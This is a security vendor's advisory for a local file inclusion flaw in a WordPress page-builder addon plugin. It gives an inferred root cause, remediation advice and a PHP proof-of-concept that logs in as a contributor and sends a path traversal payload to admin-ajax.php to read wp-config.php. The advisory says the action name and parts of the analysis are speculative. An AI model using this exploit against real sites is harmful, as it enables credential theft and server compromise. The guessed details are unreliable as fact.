Opens in a new tab
Published : November 15, 2026

CVE-2026-110516: All in One Addons For WPBakery Page Builder (formerly Visual Composer) <= 1.2 Authenticated (Contributor+) Local File Inclusion PoC, Patch Analysis & Rule

Severity High (CVSS 7.5)
CWE 98
Vulnerable Version 1.2
Patched Version —
Disclosed November 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-110516 (metadata-based): The All in One Addons For WPBakery Page Builder plugin for WordPress (slug: all-in-one-visual-composer-addons) is vulnerable to Local File Inclusion (LFI) in versions up to and including 1.2. An authenticated attacker with Contributor-level access or higher can include and execute arbitrary files on the server. The CVSS score is 7.5 (High) with vector CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H. No patched version is available. Atomic Edge analysis is based solely on CVE metadata and WordPress plugin conventions; no source code diff was available for review.

Root Cause: The vulnerability is classified as CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program. This indicates that a user-supplied parameter is used directly in a PHP include or require statement without proper validation, sanitization, or restriction to a whitelist of allowed files. Based on the plugin’s name and common patterns, the vulnerable code likely resides in an AJAX handler or a shortcode/block rendering function that accepts a file path parameter for template or asset inclusion. The plugin fails to validate that the requested file is within the plugin directory or that it has an allowed extension (e.g., .php). Atomic Edge research infers that the plugin may use a parameter such as ‘template’, ‘file’, ‘path’, or ‘view’ to specify a file, and does not properly sanitize this input. This is reconstructed from the CWE, which explicitly points to filename control issues in include/require statements.

Exploitation: An authenticated attacker with Contributor-level access can send a crafted request to a vulnerable AJAX action. The attack vector is network-based (AV:N), requires low privileges (PR:L), and no user interaction (UI:N). The attacker would likely target an AJAX endpoint such as /wp-admin/admin-ajax.php with an action parameter corresponding to the vulnerable functionality. For example: action=vc_addons_include&template=../../../../wp-config.php. The attacker can then include arbitrary PHP files. If the plugin also allows uploading files with safe extensions (e.g., images) that contain PHP code, the attacker can include those files to achieve code execution. The CVSS vector indicates high confidentiality, integrity, and availability impact (C:H/I:H/A:H), confirming that successful exploitation leads to full server compromise. No specific action name is provided in the metadata; Atomic Edge analysis infers likely action names based on typical plugin naming patterns.

Remediation: The fix requires proper validation and sanitization of any user-supplied file paths before using them in include/require statements. The plugin should implement a whitelist of allowed files or restrict inclusions to a specific directory using realpath() and directory traversal checks. Additionally, capability checks and nonce verification should be enforced for any AJAX handlers. Since no patched version exists, the only mitigation is to disable or remove the plugin until a fix is available.

Impact: Successful exploitation allows an attacker with Contributor-level access to include and execute arbitrary PHP files. This can lead to complete server compromise, including remote code execution, access to sensitive data (e.g., wp-config.php, database credentials), and full control over the WordPress site. The CVSS score of 7.5 reflects the high impact on confidentiality, integrity, and availability.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-110516 - All in One Addons For WPBakery Page Builder (formerly Visual Composer) <= 1.2 - Authenticated (Contributor+) Local File Inclusion

// This PoC assumes the vulnerable plugin uses an AJAX action that includes a user-supplied file.
// The action name 'vc_addons_include' is speculative; adjust based on actual plugin code.
// The target must have a user with Contributor role or higher.

$target_url = 'http://example.com'; // CHANGE THIS
$username = 'contributor'; // CHANGE THIS
$password = 'password'; // CHANGE THIS

// Step 1: Authenticate to WordPress and obtain cookies
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);
curl_close($ch);

// Step 2: Verify login success (check for dashboard or cookies)
if (strpos($login_response, 'Dashboard') === false) {
    die('Login failed. Check credentials.');
}

// Step 3: Send LFI payload to AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$payload = [
    'action' => 'vc_addons_include', // Speculative action name
    'template' => '../../../../wp-config.php' // Path traversal to read wp-config.php
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 4: Output result
echo "HTTP Code: $http_coden";
echo "Response:n$responsen";

// Note: The actual action and parameter names must be determined by inspecting the plugin's source code.
// This PoC is for educational purposes only and should only be used on systems you own or have permission to test.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.